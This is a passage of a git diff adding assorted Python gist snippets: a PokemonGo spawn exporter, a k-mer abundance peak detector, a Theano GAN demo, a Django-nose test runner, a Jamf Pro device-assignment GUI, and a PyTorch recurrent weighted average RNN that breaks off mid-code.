+    self.assertEqual(cache['foo'], 'bar')
+    self.assertEqual(get_cache(), 'bar')
diff --git a/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/._snippet.py b/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/._snippet.py differ
diff --git a/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/snippet.py b/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/snippet.py
new file mode 100644
index 00000000..da24874c
--- /dev/null
+++ b/hard-gists/4eb4497f57e9f6fb78d14aef27fcc750/snippet.py
@@ -0,0 +1,62 @@
+# place in PokemonGo-Map directory to use with 		
+# https://github.com/PokemonGoMap/PokemonGo-Map
+from pogom.app import Pogom
+from pogom import models
+import json
+from pogom.models import Pokemon, init_database
+import os.path
+import sys
+outputFile = 'spawns.json'
+
+app = Pogom(__name__)
+db = init_database(app)
+
+# southwest latitude and longitude, north east latitude and longitude
+# @TODO - use args
+swLat = None
+swLng = None
+neLat = None
+neLng = None
+
+query = Pokemon.select(Pokemon.latitude, Pokemon.longitude, Pokemon.disappear_time, Pokemon.spawnpoint_id)
+if None not in (swLat, swLng, neLat, neLng):
+    query = (query
+             .where((Pokemon.latitude >= swLat) &
+                    (Pokemon.longitude >= swLng) &
+                    (Pokemon.latitude <= neLat) &
+                    (Pokemon.longitude <= neLng)
+                    )
+             )
+query = query.dicts()
+
+uniq = set() # to filter duplicate spawns location at same time
+spawns = []
+count = 0
+dupes = 0
+print "Getting list of spawns"
+for i in iter(list(query)):
+    m = i['disappear_time'].minute
+    s = i['disappear_time'].second
+    spawn_sec = ((m) * 60 + (s) + 2710) % 3600
+    k = (i['spawnpoint_id'], spawn_sec)
+    if k not in uniq: # SQL group by, because peewee can't handle group by on aliased fields (thx Xcelled)
+        uniq.add(k)
+        spawns.append( { 'lat': i['latitude'], 'lng': i['longitude'], 'time': spawn_sec})
+        count += 1
+    else:
+	    dupes += 1
+
+print "Total unique spawns: " + str(count) + " Duplicates excluded: " +  str(dupes)
+
+choice = 'y'
+if os.path.isfile(outputFile):
+    prompt = ("%s exists, overwrite?   [Y or N] " ) % outputFile
+    choice = raw_input(prompt)
+
+if choice.lower() in 'y':
+    f = open(outputFile, 'w')
+    f.write(json.dumps(spawns))
+    f.close()
+else :
+    print 'Canceled writing file'
+    sys.exit()
diff --git a/hard-gists/4ed43412878723491240814a0d5a6ed6/._snippet.py b/hard-gists/4ed43412878723491240814a0d5a6ed6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4ed43412878723491240814a0d5a6ed6/._snippet.py differ
diff --git a/hard-gists/4ed43412878723491240814a0d5a6ed6/snippet.py b/hard-gists/4ed43412878723491240814a0d5a6ed6/snippet.py
new file mode 100644
index 00000000..622b3bbd
--- /dev/null
+++ b/hard-gists/4ed43412878723491240814a0d5a6ed6/snippet.py
@@ -0,0 +1,244 @@
+'''
+:Date: 26 Jul 2016
+:Author: Public Health England
+'''
+
+"""Detect peaks in data based on their amplitude and other features."""
+import argparse
+
+from khmer import khmer_args
+import khmer
+from khmer.kfile import check_input_files
+from khmer.khmer_args import build_counting_args
+from scipy.signal import find_peaks_cwt
+import sys
+
+import numpy as np
+
+def peakdet(v, delta, x=None):
+    """
+    Converted from MATLAB script at http://billauer.co.il/peakdet.html
+    
+    Returns two arrays
+    
+    function [maxtab, mintab]=peakdet(v, delta, x)
+    %PEAKDET Detect peaks in a vector
+    %        [MAXTAB, MINTAB] = PEAKDET(V, DELTA) finds the local
+    %        maxima and minima ("peaks") in the vector V.
+    %        MAXTAB and MINTAB consists of two columns. Column 1
+    %        contains indices in V, and column 2 the found values.
+    %      
+    %        With [MAXTAB, MINTAB] = PEAKDET(V, DELTA, X) the indices
+    %        in MAXTAB and MINTAB are replaced with the corresponding
+    %        X-values.
+    %
+    %        A point is considered a maximum peak if it has the maximal
+    %        value, and was preceded (to the left) by a value lower by
+    %        DELTA.
+    
+    % Eli Billauer, 3.4.05 (Explicitly not copyrighted).
+    % This function is released to the public domain; Any use is allowed.
+    
+    """
+    maxtab = []
+    mintab = []
+
+    if x is None:
+        x = np.arange(len(v))
+
+    v = np.asarray(v)
+
+    mn, mx = np.Inf, -np.Inf
+    mnpos, mxpos = np.NaN, np.NaN
+
+    lookformax = True
+
+    for i in np.arange(len(v)):
+        this = v[i]
+        if this > mx:
+            mx = this
+            mxpos = x[i]
+        if this < mn:
+            mn = this
+            mnpos = x[i]
+
+        if lookformax:
+            if this < mx - delta:
+                maxtab.append((mxpos, mx))
+                mn = this
+                mnpos = x[i]
+                lookformax = False
+        else:
+            if this > mn + delta:
+                mintab.append((mnpos, mn))
+                mx = this
+                mxpos = x[i]
+                lookformax = True
+
+
+    maxtab = [ int(i[0]) for i in maxtab]
+
+    return maxtab
+
+def plot(x, plot_file, min_peaks=None, max_peaks=None):
+    """Plot results of the detect_peaks function, see its help."""
+    try:
+        import matplotlib.pyplot as plt
+    except ImportError:
+        print('matplotlib is not available.')
+    else:
+        plt.style.use('ggplot')
+        _, ax = plt.subplots(1, 1, figsize=(8, 4))
+
+        ax.plot(x, 'black', lw=1)
+        if max_peaks:
+            ax.plot(max_peaks, x[max_peaks], '+', mfc=None, mec='g', mew=2, ms=8,
+                    label='Max peaks')
+        if min_peaks:
+            ax.plot(min_peaks, x[min_peaks], '+', mfc=None, mec='r', mew=2, ms=8,
+                    label='Min peaks')
+
+        ax.set_xlim(-.02 * x.size, x.size * 1.02 - 1)
+        ymin, ymax = x[np.isfinite(x)].min(), x[np.isfinite(x)].max()
+        yrange = ymax - ymin if ymax > ymin else 1
+        ax.set_ylim(ymin - 0.1 * yrange, ymax + 0.1 * yrange)
+        ax.set_xlabel('Abundance', fontsize=12)
+        ax.set_ylabel('Counts', fontsize=12)
+        plt.gcf().subplots_adjust(bottom=0.15)
+
+        ax.set_title("Min abundance finding.")
+        # plt.grid()
+        plt.savefig(plot_file)
+
+def get_args():
+    parser = build_counting_args(
+        descr="Calculate the abundance distribution of k-mers from a "
+        "single sequence file.")
+
+    parser.add_argument('input_sequence_filename', help='The name of the input'
+                        ' FAST[AQ] sequence file.')
+    parser.add_argument('-z', '--no-zero', dest='output_zero', default=True,
+                        action='store_false',
+                        help='Do not output zero-count bins')
+    parser.add_argument('-b', '--no-bigcount', dest='bigcount', default=True,
+                        action='store_false',
+                        help='Do not count k-mers past 255')
+    parser.add_argument('-s', '--squash', dest='squash_output', default=False,
+                        action='store_true',
+                        help='Overwrite output file if it exists')
+    parser.add_argument('--savegraph', default='', metavar="filename",
+                        help="Save the k-mer countgraph to the specified "
+                        "filename.")
+    parser.add_argument('-f', '--force', default=False, action='store_true',
+                        help='Overwrite output file if it exists')
+    parser.add_argument('-q', '--quiet', dest='quiet', default=False,
+                        action='store_true')
+
+    parser.add_argument('--max-abundance', default=300, type=int, help="Max abundance to consider.")
+
+    parser.add_argument('--hist-plot', help="If set, the histogram of process will be saved there.")
+    return parser
+
+def main():
+    args = get_args().parse_args()
+
+
+    check_input_files(args.input_sequence_filename, args.force)
+
+    print('making countgraph')
+    countgraph = khmer_args.create_countgraph(args, multiplier=1.1)
+    countgraph.set_use_bigcount(args.bigcount)
+
+    print('building k-mer tracking graph')
+    tracking = khmer_args.create_nodegraph(args, multiplier=1.1)
+
+    print('kmer_size: %s' % countgraph.ksize())
+    print('k-mer countgraph sizes: %s' % countgraph.hashsizes())
+
+    # start loading
+    rparser = khmer.ReadParser(args.input_sequence_filename)
+    print('consuming input, round 1 -- %s' % args.input_sequence_filename)
+
+    countgraph.consume_fasta_with_reads_parser(rparser)
+
+    print('Total number of unique k-mers: %s' %
+             countgraph.n_unique_kmers())
+
+    abundance_lists = []
+
+    def __do_abundance_dist__(read_parser):
+        abundances = countgraph.abundance_distribution_with_reads_parser(
+            read_parser, tracking)
+        abundance_lists.append(abundances)
+
+    print('preparing hist from %s...' %
+             args.input_sequence_filename)
+
+    rparser = khmer.ReadParser(args.input_sequence_filename)
+
+    print('consuming input, round 2 -- %s' % args.input_sequence_filename)
+
+    __do_abundance_dist__(rparser)
+
+    assert len(abundance_lists) == 1, len(abundance_lists)
+    abundance = {}
+    for abundance_list in abundance_lists:
+        for i, count in enumerate(abundance_list):
+            abundance[i] = abundance.get(i, 0) + count
+
+    total = sum(abundance.values())
+
+    if 0 == total:
+        print("ERROR: abundance distribution is uniformly zero; "
+                  "nothing to report.")
+        print("\tPlease verify that the input files are valid.")
+        return 1
+
+
+    np_abundance = np.zeros(len(abundance))
+    max_count = 0
+
+    sofar = 0
+    for row_i, count in sorted(abundance.items()):
+        if row_i == 0 and not args.output_zero:
+            continue
+
+        np_abundance[row_i] = count
+
+        if count > max_count:
+            max_count = count
+
+
+        sofar += count
+
+        if sofar == total:
+            break
+
+    if args.max_abundance:
+        np_abundance = np_abundance[:args.max_abundance]
+
+    max_peaks = peakdet(np_abundance, 100)
+
+    min_peak = None
+    # Find lowest point in the interval
+    try:
+        for valley in xrange(max_peaks[0], max_peaks[1]):
+            if min_peak is None:
+                min_peak = valley
+            elif np_abundance[valley] < np_abundance[min_peak]:
+                min_peak = valley
+        print min_peak if min_peak is not None else -1
+        result = 0
+    except IndexError:
+        sys.stderr.write("Could not estimate min abundance for %s.\n" % args.input_sequence_filename)
+        if len(max_peaks) <= 1:
+            sys.stderr.write("Is there enough data in the FastQ? Only %s peaks have been identified." % len(max_peaks))
+        result = 1
+
+    if args.hist_plot:
+        plot(np_abundance, args.hist_plot, max_peaks=max_peaks[0:2], min_peaks=min_peak)
+
+    return result
+
+if __name__ == '__main__':
+    exit(main())
diff --git a/hard-gists/4ee0a712454480df5ee3/._snippet.py b/hard-gists/4ee0a712454480df5ee3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4ee0a712454480df5ee3/._snippet.py differ
diff --git a/hard-gists/4ee0a712454480df5ee3/snippet.py b/hard-gists/4ee0a712454480df5ee3/snippet.py
new file mode 100644
index 00000000..bd2d8676
--- /dev/null
+++ b/hard-gists/4ee0a712454480df5ee3/snippet.py
@@ -0,0 +1,142 @@
+import os
+import numpy as np
+from matplotlib import pyplot as plt
+from time import time
+
+from foxhound import activations
+from foxhound import updates
+from foxhound import inits
+from foxhound.theano_utils import floatX, sharedX
+
+import theano
+import theano.tensor as T
+
+from scipy.stats import gaussian_kde
+from scipy.misc import imsave, imread
+
+leakyrectify = activations.LeakyRectify()
+rectify = activations.Rectify()
+tanh = activations.Tanh()
+sigmoid = activations.Sigmoid()
+bce = T.nnet.binary_crossentropy
+batch_size = 128
+nh = 2048
+init_fn = inits.Normal(scale=0.02)
+
+def gaussian_likelihood(X, u=0., s=1.):
+    return (1./(s*np.sqrt(2*np.pi)))*np.exp(-(((X - u)**2)/(2*s**2)))
+
+def scale_and_shift(X, g, b, e=1e-8):
+    X = X*g + b
+    return X
+
+def g(X, w, g, b, w2, g2, b2, wo):
+    h = leakyrectify(scale_and_shift(T.dot(X, w), g, b))
+    h2 = leakyrectify(scale_and_shift(T.dot(h, w2), g2, b2))
+    y = T.dot(h2, wo)
+    return y
+
+def d(X, w, g, b, w2, g2, b2, wo):
+    h = rectify(scale_and_shift(T.dot(X, w), g, b))
+    h2 = tanh(scale_and_shift(T.dot(h, w2), g2, b2))
+    y = sigmoid(T.dot(h2, wo))
+    return y
+
+gw = init_fn((1, nh))
+gg = inits.Constant(1.)(nh)
+gg = inits.Normal(1., 0.02)(nh)
+gb = inits.Normal(0., 0.02)(nh)
+
+gw2 = init_fn((nh, nh))
+gg2 = inits.Normal(1., 0.02)(nh)
+gb2 = inits.Normal(0., 0.02)(nh)
+
+gy = init_fn((nh, 1))
+ggy = inits.Constant(1.)(1)
+gby = inits.Normal(0., 0.02)(1)
+
+dw = init_fn((1, nh))
+dg = inits.Normal(1., 0.02)(nh)
+db = inits.Normal(0., 0.02)(nh)
+
+dw2 = init_fn((nh, nh))
+dg2 = inits.Normal(1., 0.02)(nh)
+db2 = inits.Normal(0., 0.02)(nh)
+
+dy = init_fn((nh, 1))
+dgy = inits.Normal(1., 0.02)(1)
+dby = inits.Normal(0., 0.02)(1)
+
+g_params = [gw, gg, gb, gw2, gg2, gb2, gy]
+d_params = [dw, dg, db, dw2, dg2, db2, dy]
+
+Z = T.matrix()
+X = T.matrix()
+
+gen = g(Z, *g_params)
+
+p_real = d(X, *d_params)
+p_gen = d(gen, *d_params)
+
+d_cost_real = bce(p_real, T.ones(p_real.shape)).mean()
+d_cost_gen = bce(p_gen, T.zeros(p_gen.shape)).mean()
+g_cost_d = bce(p_gen, T.ones(p_gen.shape)).mean()
+
+d_cost = d_cost_real + d_cost_gen
+g_cost = g_cost_d
+
+cost = [g_cost, d_cost, d_cost_real, d_cost_gen]
+
+lr = 0.001
+lrt = sharedX(lr)
+d_updater = updates.Adam(lr=lrt)
+g_updater = updates.Adam(lr=lrt)
+
+d_updates = d_updater(d_params, d_cost)
+g_updates = g_updater(g_params, g_cost)
+updates = d_updates + g_updates
+
+_train_g = theano.function([X, Z], cost, updates=g_updates)
+_train_d = theano.function([X, Z], cost, updates=d_updates)
+_train_both = theano.function([X, Z], cost, updates=updates)
+_gen = theano.function([Z], gen)
+_score = theano.function([X], p_real)
+_cost = theano.function([X, Z], cost)
+
+fig = plt.figure()
+
+def vis(i):
+    s = 1.
+    u = 0.
+    zs = np.linspace(-1, 1, 500).astype('float32')
+    xs = np.linspace(-5, 5, 500).astype('float32')
+    ps = gaussian_likelihood(xs, 1.)
+
+    gs = _gen(zs.reshape(-1, 1)).flatten()
+    preal = _score(xs.reshape(-1, 1)).flatten()
+    kde = gaussian_kde(gs)
+
+    plt.clf()
+    plt.plot(xs, ps, '--', lw=2)
+    plt.plot(xs, kde(xs), lw=2)
+    plt.plot(xs, preal, lw=2)
+    plt.xlim([-5., 5.])
+    plt.ylim([0., 1.])
+    plt.ylabel('Prob')
+    plt.xlabel('x')
+    plt.legend(['P(data)', 'G(z)', 'D(x)'])
+    plt.title('GAN learning guassian')
+    fig.canvas.draw()
+    plt.show(block=False)
+
+for i in range(10000):
+    zmb = np.random.uniform(-1, 1, size=(batch_size, 1)).astype('float32')
+    xmb = np.random.normal(1., 1, size=(batch_size, 1)).astype('float32')
+    if i % 10 == 0:
+        _train_g(xmb, zmb)
+    else:
+        _train_d(xmb, zmb)
+    if i % 10 == 0:
+        print i
+        vis(i)
+    lrt.set_value(floatX(lrt.get_value()*0.9999))
\ No newline at end of file
diff --git a/hard-gists/4efe2e28ffcba38aa242/._snippet.py b/hard-gists/4efe2e28ffcba38aa242/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4efe2e28ffcba38aa242/._snippet.py differ
diff --git a/hard-gists/4efe2e28ffcba38aa242/snippet.py b/hard-gists/4efe2e28ffcba38aa242/snippet.py
new file mode 100644
index 00000000..ace112c8
--- /dev/null
+++ b/hard-gists/4efe2e28ffcba38aa242/snippet.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+"""
+HACK to support the Django + nose without django-nose.
+
+Built based on documentation from:
+* https://docs.djangoproject.com/en/1.8/topics/testing/advanced/#using-the-django-test-runner-to-test-reusable-applications
+* http://nose.readthedocs.org/en/latest/usage.html#basic-usage
+"""
+import sys
+
+import django
+import nose
+from django.test.utils import setup_test_environment, teardown_test_environment
+from django.db import connection
+
+
+if __name__ == '__main__':
+    django.setup()
+
+    try:
+        sys.argv.remove('--keepdb')
+    except ValueError:
+        keepdb = False
+    else:
+        keepdb = True
+
+    setup_test_environment()
+    test_db_name = connection.creation.create_test_db(keepdb=keepdb)
+    result = nose.run()
+    connection.creation.destroy_test_db(test_db_name, keepdb=keepdb)
+    teardown_test_environment()
+    if not result:
+        sys.exit(1)
diff --git a/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/._snippet.py b/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/._snippet.py differ
diff --git a/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/snippet.py b/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/snippet.py
new file mode 100644
index 00000000..5f1996cd
--- /dev/null
+++ b/hard-gists/4f0c1d94f5f164d67f40a4f1c8b0dc15/snippet.py
@@ -0,0 +1,232 @@
+#!/usr/bin/python
+"""
+Collect Info
+
+To be used in a Jamf Pro workflow to prompt a user/tech for info
+
+Heavily cribbed from Jamf's iPhone ordering script:
+https://github.com/jamfit/iPhone-Ordering
+"""
+
+import AppKit
+import sys
+import os
+import Tkinter
+import tkFont
+import tkMessageBox
+import subprocess
+import plistlib
+
+# Path to Jamf binary
+JAMF = "/usr/local/bin/jamf"
+
+# base64-encoded GIF for "icon" at the top of the GUI
+# MUST BE A GIF!
+mbp_icon = '''
+R0lGODdh+gCWAMQAAAAAAElJSVJSUlxcXGFhYW5ubnNzc3x8fIWFhY+Pj6WlpampqbKysry8vMbGxsjI
+yNTU1Nzc3OHh4enp6fLy8v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkKABYALAAA
+AAD6AJYAAAX/oCWOZGmeaKqubOu+cCzPdG3feK7vfO//wKBwSCwaj8ikcslsOp/QqHRKrVqv2Kx2y+16
+v+CweEwum8/otHrNbrvf8Lh8Tq/b7/i8fs/PGQ6AgYKDhIWGh4iJiouMjY6GBn0pCAwRE5eYmZqbnJ2e
+n6ChoqOkpZ0RDAiSJQkSFa+wsbKztLW2t7i5uru8vbkTCasiBxO+xsfHEg/IzM25EgerBAzO1davEAsU
+19zNDASSBRHd5OXm568RBZLE6O7v8LsT0X3tsBIQ+fr7/P3+/wADChxIsKDBg/1cwZrHrhisCA4iSpxI
+saLFixgzatzIsaPHjxXHLaTHx94rCQ4e/6hcybKly5cwY8qcSbOmzZs4WToQ+YphPYcnU+YcSrSo0aNH
+d8byWRJoBZRIo0qdSvWm0pENY0GtyrWrV6NXe5LcY/Kp0K9o06rVybMCU7JOt66dS5dqWLdj9ZSVW7ev
+35x33+qNe/av4cMwA+fNs7cw4seIFWe95xiy5b6Sf2qtfLmz2sxNN3sePRc0XNGkU381PRi16td22wpm
+TBi2bamsabu+zXtobjyNewsHLHsx8NrDk9P8fSe48ueJi08OCr16S+Z2nFu3jr2O9u3Qu9P5Dl65+Dnk
+yw8/Lye9+t7s47h/fzs+nPn0Ydt/gz+/6v1u9OcfaQC2IeCAnhXIxv+BCF6m4BoMNgjZg2pEKGFk0mlG
+2YW2UZiGhRz+5SEaIIaIWYahbWhiaiOeUeKKpaF4moowJihjazTW6OCNuuWo44Q8Hrfbj4+1aMaLRHpl
+ZBlIJsnVkmQ06WRsSxnXHHJTHgblGFJmGdWWYnTpZVJBXjnkmHSBGYaYaBKlJhhstklcldOZJeeJdGpI
+3Z1plpkdlnx+5qd3gAaK1ptfxGnoTIh6oeiiMTXaxaOQviQpF5RWet2g4xWqKZVY6Wnnp11dukWmpD5g
+qhaokrpqFq1++ioWsWo66xW1VnqrFblCumsVvS76KxXBGjrsFMUGeqwUyfK5bBTN3vksFNHKOe3/E9W2
+ea0T2aK5bRPdjvktE+F6Oe4S5WZ5rhLpTrluEu06+S4S8SY57xH1EnmvEfn+uG8R/er4LxEB1zjwEAXD
+eLAQZUEE0sMQRyzxxBQvHERZE0ig8cYcd+zxxyCHLPLIJJds8skoe+zUbELG4/LL8bBsJsw019yNzH/a
+rPPOyOBMKM9AB42Lz50KbfTRYoXTAEJMN/1PBFBHLfXUVFft9NVXN7AOlw5gnc9wChRgwNhkl2322WYX
+oMBwXkPggJUMO4W0OeqgbffdY4sztztE/1DW3uU0gMDghBdu+OGGNwA4On378Pfi3VAg+eSUV2555ZCf
+03gPCMid+eegNzOBoCrwKrDA6ainrvrqrLfu+uuwxy777LTXbvvtuM+uANxCiF222L7jLfzwxBdv/PHI
+J6/88swDnza2B/wRCPPUV2/99dhnn7wg0gP7x9iAaC/++OSXP3743/M+BdnRm+/++/DH334kwtRv//34
+56///vz37///AAygAAdIwAIa8IAITKACF8jABjrwgRCMoAQnSMEKWvCCGMygBjfIwQ56MAQAOw==
+'''
+
+class App:
+    def __init__(self, main):
+        """Main GUI window"""
+        self.main = main
+        self.main.resizable(False, False)
+        self.main.title("Assign User Information")
+
+        self.main.protocol("WM_DELETE_WINDOW", self.cancel)
+        self.main.call('wm', 'attributes', '.', '-topmost', True)
+        x = (self.main.winfo_screenwidth() - self.main.winfo_reqwidth()) / 2
+        y = (self.main.winfo_screenheight() - self.main.winfo_reqheight()) / 3
+        self.main.geometry("+{0}+{1}".format(x, y))
+        # w, h = self.main.winfo_screenwidth(), self.main.winfo_screenheight()
+        # self.main.overrideredirect(1)
+        # self.main.geometry("%dx%d+0+0" % (w, h))
+
+        bgcolor = '#F0F0F0'
+        self.main.tk_setPalette(background=bgcolor,
+                                  highlightbackground=bgcolor)
+
+        font = tkFont.nametofont('TkDefaultFont')
+        font.config(family='system',
+                    size=14)
+        self.main.option_add("*Font", font)
+
+        menu_bar = Tkinter.Menu(self.main)
+        self.main.config(menu=menu_bar)
+
+        print('Starting app')
+
+        # Input variables
+        self.input_assigned_user = Tkinter.StringVar()
+        self.input_assigned_dept = Tkinter.StringVar()
+        self.input_asset_tag = Tkinter.StringVar()
+
+        # Get icon
+        self.icon_data = Tkinter.PhotoImage(data=mbp_icon)
+
+        # Icon Frame
+        self.frame1 = Tkinter.Frame(self.main)
+        self.photo_canvas = Tkinter.Canvas(self.frame1, width=250, height=150)
+        self.photo_canvas.pack()
+        self.icon = self.photo_canvas.create_image(0, 0, anchor="nw", image=self.icon_data)
+        self.frame1.pack(padx=40, pady=(30, 5))
+
+        # Title Frame
+        self.frame2 = Tkinter.Frame(self.main)
+        title_label = Tkinter.Label(self.frame2, text="Assign Device")
+        title_label.grid(row=0, column=0)
+        self.frame2.pack(padx=40, pady=(10,5))
+
+        # Inputs frame
+        self.frame3 = Tkinter.Frame(self.main)
+
+        user_label = Tkinter.Label(self.frame3, text="Assigned User:")
+        user_label.pack()
+        self.entry_assigned_user = Tkinter.Entry(self.frame3,
+                                                 background='white',
+                                                 textvariable=self.input_assigned_user,
+                                                 width=30)
+        self.entry_assigned_user.pack(pady=(0, 20))
+
+        dept_label = Tkinter.Label(self.frame3, text="Department Code:")
+        dept_label.pack()
+        self.entry_assigned_dept = Tkinter.Entry(self.frame3,
+                                                background='white',
+                                                textvariable=self.input_assigned_dept,
+                                                width=30)
+        self.entry_assigned_dept.pack(pady=(0, 20))
+
+        asset_label = Tkinter.Label(self.frame3, text="Asset Tag:")
+        asset_label.pack()
+        self.entry_asset_tag = Tkinter.Entry(self.frame3,
+                                                background='white',
+                                                textvariable=self.input_asset_tag,
+                                                width=30)
+        self.entry_asset_tag.pack(pady=(0, 20))
+
+        self.frame3.pack(padx=40, pady=5)
+
+        # Buttons
+        self.frame5 = Tkinter.Frame(self.main)
+        submit = Tkinter.Button(self.frame5, text='Assign', height=1, width=8, command=self.submit)
+        submit.pack(side='right')
+        cancel = Tkinter.Button(self.frame5, text='Cancel', height=1, width=8, command=self.cancel)
+        cancel.pack(side='right')
+        self.frame5.pack(padx=40, pady=(5, 30))
+
+        # Add GUI padding
+
+    def cancel(self):
+        """Exit the GUI"""
+        print('User has closed the app')
+        self.main.destroy()
+
+    def submit(self):
+        """
+        Do something with the data submitted
+
+        You can do...well, anything you want here. 
+
+        I use the gathered data to set the computer's name to conform with
+        our naming convention and submit the asset tag and end user's username
+        to the JSS.
+        """
+        print('User has submitted')
+
+        # Our naming convention is:
+        # [department code]-[M for Mac][L for latop or D for desktop][asset tag]
+        # i.e. IT-ML00000
+        #
+        # Fun Fact! Our asset tags are prepended with the year the device was
+        # purchased, so a quick glance at a hostname tells us where it goes,
+        # the platform and form factor, and an approximate age. We order them
+        # from myassettag.com each year this way.
+
+        # Clean up the submitted end username and make it lowercase
+        # Splitting each character of the input with split(), then re-joining
+        # with ''.join() strips all whitespace as opposed to strip() which
+        # just cleans the head and tail
+        i_user = ''.join(self.input_assigned_user.get().lower().split())
+        # Clean up the department code and make it uppercase
+        i_dept = ''.join(self.input_assigned_dept.get().upper().split())
+        # Just strip whitespace from the asset tag
+        i_atag = ''.join(self.input_asset_tag.get().split())
+
+        # Determine model for assigning name
+        # https://github.com/gregneagle/psumac2014_python/blob/master/4_3_0_machine_info.py
+        cmd = ['/usr/sbin/system_profiler', 'SPHardwareDataType', '-xml']
+        output = subprocess.check_output(cmd)
+        info = plistlib.readPlistFromString(output)
+        hardware_info = info[0]['_items'][0]
+        if "Book" in hardware_info['machine_model']:
+            model_id = "L"
+        else:
+            model_id = "D"
+
+        # Assemble hostname
+        hostname = "{}-M{}{}".format(i_dept, model_id, i_atag)
+
+        print "Hostname: {}".format(hostname)
+
+        # Rename the computer
+        cmd = [JAMF, 'setComputerName', '-name', hostname]
+        rename = subprocess.Popen(cmd, stdout=subprocess.PIPE,
+                                  stderr=subprocess.PIPE)
+        (out, err) = rename.communicate()
+        if rename.returncode == 0:
+            print "Set computer name to {}".format(hostname)
+        else:
+            print "Rename failed!"
+            sys.exit(1)
+
+        # Submit new inventory
+        cmd = [JAMF, 'recon', '-endUsername', i_user, '-assetTag', i_atag]
+        inventory = subprocess.Popen(cmd, stdout=subprocess.PIPE,
+                                     stderr=subprocess.PIPE)
+        (out, err) = inventory.communicate()
+        if inventory.returncode == 0:
+            print "Submitted inventory to JSS"
+        else:
+            print "Inventory update failed!"
+            sys.exit(1)
+
+        self.main.destroy()
+
+
+def main():
+    # Prevent the Python app icon from appearing in the Dock
+    info = AppKit.NSBundle.mainBundle().infoDictionary()
+    info['CFBundleIconFile'] = u'PythonApplet.icns'
+    info['LSUIElement'] = True
+
+    root = Tkinter.Tk()
+    app = App(root)
+    # Have the GUI appear on top of all other windows
+    AppKit.NSApplication.sharedApplication().activateIgnoringOtherApps_(True)
+    rdata = app.main.mainloop()
+
+    sys.exit(0)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/._snippet.py b/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/._snippet.py differ
diff --git a/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/snippet.py b/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/snippet.py
new file mode 100644
index 00000000..8977aa38
--- /dev/null
+++ b/hard-gists/4f3a3b3c1828e6d781b624f378890cb0/snippet.py
@@ -0,0 +1,111 @@
+# An implementation of "Machine Learning on Sequential Data Using a Recurrent Weighted Average" using pytorch 
+# https://arxiv.org/pdf/1703.01253.pdf
+#
+# 
+# This is a RNN (recurrent neural network) type that uses a weighted average of values seen in the past, rather
+# than a separate running state.
+# 
+# Check the test code at the bottom for an example of usage, where you can compare it's performance
+# against LSTM and GRU, at a classification task from the paper. It handily beats both the LSTM and 
+# GRU :)
+#
+# Enjoy, and if you find it useful, drop me a line at richardweiss@richardweiss.org
+
+import torch
+from torch.autograd import Variable
+import numpy as np
+
+
+class RWA(torch.nn.Module):
+    def __init__(self, input_shape, inner_shape):
+        super().__init__()
+        self.input_shape = input_shape
+        self.inner_shape = inner_shape
+        self.initial_state = torch.nn.Parameter(torch.randn(inner_shape))
+        self.u_transform = torch.nn.Linear(input_shape, inner_shape)
+        self.g_transform = torch.nn.Linear(input_shape+inner_shape, inner_shape)
+        self.a_transform = torch.nn.Linear(input_shape+inner_shape, inner_shape, bias=False)
+
+    def forward(self, x):
+        # (seq_len, batch, input_size)
+        batch_size = x.size()[1]
+        activation = torch.nn.Tanh()
+        hts = []
+
+        n = Variable(torch.zeros([batch_size, self.inner_shape]), requires_grad=True)
+        d = Variable(torch.zeros([batch_size, self.inner_shape]), requires_grad=True)
+        ht = activation(self.initial_state.expand(batch_size, self.inner_shape))
+        for step in range(x.size()[0]):
+            x_step = x[step, :, :]
+            x_merge = torch.cat([x_step, ht], 1)
+
+            u = self.u_transform(x_step)
+            g = self.g_transform(x_merge)
+            a = self.a_transform(x_merge)
+
+            z = u * activation(g)
+
+            n = n + z * torch.exp(a)
+            d = d + torch.exp(a)
+
+            ht = activation(n / d)
+            hts.append(ht)
+        return torch.stack(hts, 0), ht
+
+def npvariable(nparr, requires_grad=False):
+    return Variable(torch.from_numpy(nparr), requires_grad=requires_grad)
+
+if __name__ == '__main__':
+    def make_seqlen_task():
+        seq_lens = np.random.choice(500, size=64)
+        seqs = np.zeros([500, 64, 1], dtype=np.float32)
+        for i in range(64):
+            seqs[:seq_lens[i], i, :] = np.random.uniform()
+        y = seq_lens > 250
+
+        return npvariable(seqs, True), npvariable(y.astype(np.float32))
+
+    make_seqlen_task()
+
+    num_cells = 128
+    c = 'rwa'
+    if c == 'lstm':
+        rwa = torch.nn.LSTM(1, num_cells, 1)
+    elif c == 'gru':
+        rwa = torch.nn.GRU(1, num_cells, 1)
+    else:
+        rwa = RWA(1, num_cells)
+    output_transform = torch.nn.Linear(num_cells, 1)
+
+    opt = torch.optim.Adam(list(rwa.parameters()) + list(output_transform.parameters()))
+    for i in range(100):
+        opt.zero_grad()
+        x, y = make_seqlen_task()
+        _, v = rwa.forward(x)
+
+        if c == 'lstm':
+            preds = torch.nn.Sigmoid()(output_transform(v[0][0]))
+        elif c == 'gru':
+            preds = torch.nn.Sigmoid()(output_transform(v[0]))
+        else:
